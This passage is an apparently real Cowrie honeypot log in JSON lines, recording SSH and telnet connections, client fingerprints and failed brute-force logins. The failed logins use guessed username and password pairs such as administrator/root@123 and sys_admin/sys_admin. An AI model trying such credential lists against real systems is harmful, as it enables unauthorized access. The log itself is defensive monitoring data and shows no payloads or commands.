25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:07.192543Z","src_ip":"159.203.92.129","session":"02cea39a9d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root2021","message":"login attempt [administrator/root2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:07.515566Z","src_ip":"159.203.92.129","session":"02cea39a9d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:08.604577Z","src_ip":"159.203.92.129","session":"02cea39a9d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":56912,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6510b8b9fc5","protocol":"ssh","message":"New connection: 150.95.157.171:56912 (10.17.0.5:22) [session: d6510b8b9fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:16.272872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:16.279824Z","src_ip":"150.95.157.171","session":"d6510b8b9fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:16.434683Z","src_ip":"150.95.157.171","session":"d6510b8b9fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sys_admin","password":"sys_admin","message":"login attempt [sys_admin/sys_admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:17.073367Z","src_ip":"150.95.157.171","session":"d6510b8b9fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:18.234422Z","src_ip":"150.95.157.171","session":"d6510b8b9fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55216,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d604e206f7","protocol":"ssh","message":"New connection: 159.203.92.129:55216 (159.203.135.109:22) [session: 72d604e206f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:49.029772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:49.049922Z","src_ip":"159.203.92.129","session":"72d604e206f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:49.053980Z","src_ip":"159.203.92.129","session":"72d604e206f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@1111","message":"login attempt [administrator/root@1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:49.180982Z","src_ip":"159.203.92.129","session":"72d604e206f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:50.190255Z","src_ip":"159.203.92.129","session":"72d604e206f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":45730,"dst_ip":"10.17.0.5","dst_port":22,"session":"983ccca029de","protocol":"ssh","message":"New connection: 150.95.157.171:45730 (10.17.0.5:22) [session: 983ccca029de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:07.817341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:07.822274Z","src_ip":"150.95.157.171","session":"983ccca029de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:07.976170Z","src_ip":"150.95.157.171","session":"983ccca029de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"q1w2e3","message":"login attempt [teste/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:08.626321Z","src_ip":"150.95.157.171","session":"983ccca029de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:09.783768Z","src_ip":"150.95.157.171","session":"983ccca029de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56758,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf9482a6bb1","protocol":"ssh","message":"New connection: 159.203.92.129:56758 (159.203.135.109:22) [session: 9bf9482a6bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:31.128917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:31.133474Z","src_ip":"159.203.92.129","session":"9bf9482a6bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:31.137701Z","src_ip":"159.203.92.129","session":"9bf9482a6bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@123","message":"login attempt [administrator/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:31.190542Z","src_ip":"159.203.92.129","session":"9bf9482a6bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:32.197346Z","src_ip":"159.203.92.129","session":"9bf9482a6bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.163.75.230","src_port":53634,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88c19f120a3","protocol":"telnet","message":"New connection: 190.163.75.230:53634 (10.17.0.5:23) [session: e88c19f120a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:50.608284Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.163.75.230","src_port":53649,"dst_ip":"10.17.0.5","dst_port":23,"session":"375532d5c639","protocol":"telnet","message":"New connection: 190.163.75.230:53649 (10.17.0.5:23) [session: 375532d5c639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:50.941472Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":34548,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d833ea8199","protocol":"ssh","message":"New connection: 150.95.157.171:34548 (10.17.0.5:22) [session: 12d833ea8199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:59.822749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:59.827701Z","src_ip":"150.95.157.171","session":"12d833ea8199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:56:59.987104Z","src_ip":"150.95.157.171","session":"12d833ea8199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123123123","message":"login attempt [deployer/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:00.645776Z","src_ip":"150.95.157.171","session":"12d833ea8199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:01.813781Z","src_ip":"150.95.157.171","session":"12d833ea8199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47004,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a7d7b84844b","protocol":"ssh","message":"New connection: 159.203.92.129:47004 (159.203.135.109:22) [session: 1a7d7b84844b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:13.862865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:13.870460Z","src_ip":"159.203.92.129","session":"1a7d7b84844b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:13.875719Z","src_ip":"159.203.92.129","session":"1a7d7b84844b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@123!@","message":"login attempt [administrator/root@123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:13.888676Z","src_ip":"159.203.92.129","session":"1a7d7b84844b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:14.895621Z","src_ip":"159.203.92.129","session":"1a7d7b84844b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.47.208.90","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"51dad187d79e","protocol":"telnet","message":"New connection: 72.47.208.90:40508 (10.17.0.5:23) [session: 51dad187d79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:15.096131Z"}
{"eventid":"cowrie.session.closed","duration":30.82921266555786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:45.925227Z","src_ip":"72.47.208.90","session":"51dad187d79e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":51598,"dst_ip":"10.17.0.5","dst_port":22,"session":"d19a011c8906","protocol":"ssh","message":"New connection: 150.95.157.171:51598 (10.17.0.5:22) [session: d19a011c8906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:52.401885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:52.408998Z","src_ip":"150.95.157.171","session":"d19a011c8906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:52.561397Z","src_ip":"150.95.157.171","session":"d19a011c8906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"a","message":"login attempt [gitlab/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:53.193591Z","src_ip":"150.95.157.171","session":"d19a011c8906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:54.356603Z","src_ip":"150.95.157.171","session":"d19a011c8906","protocol":"ssh"}
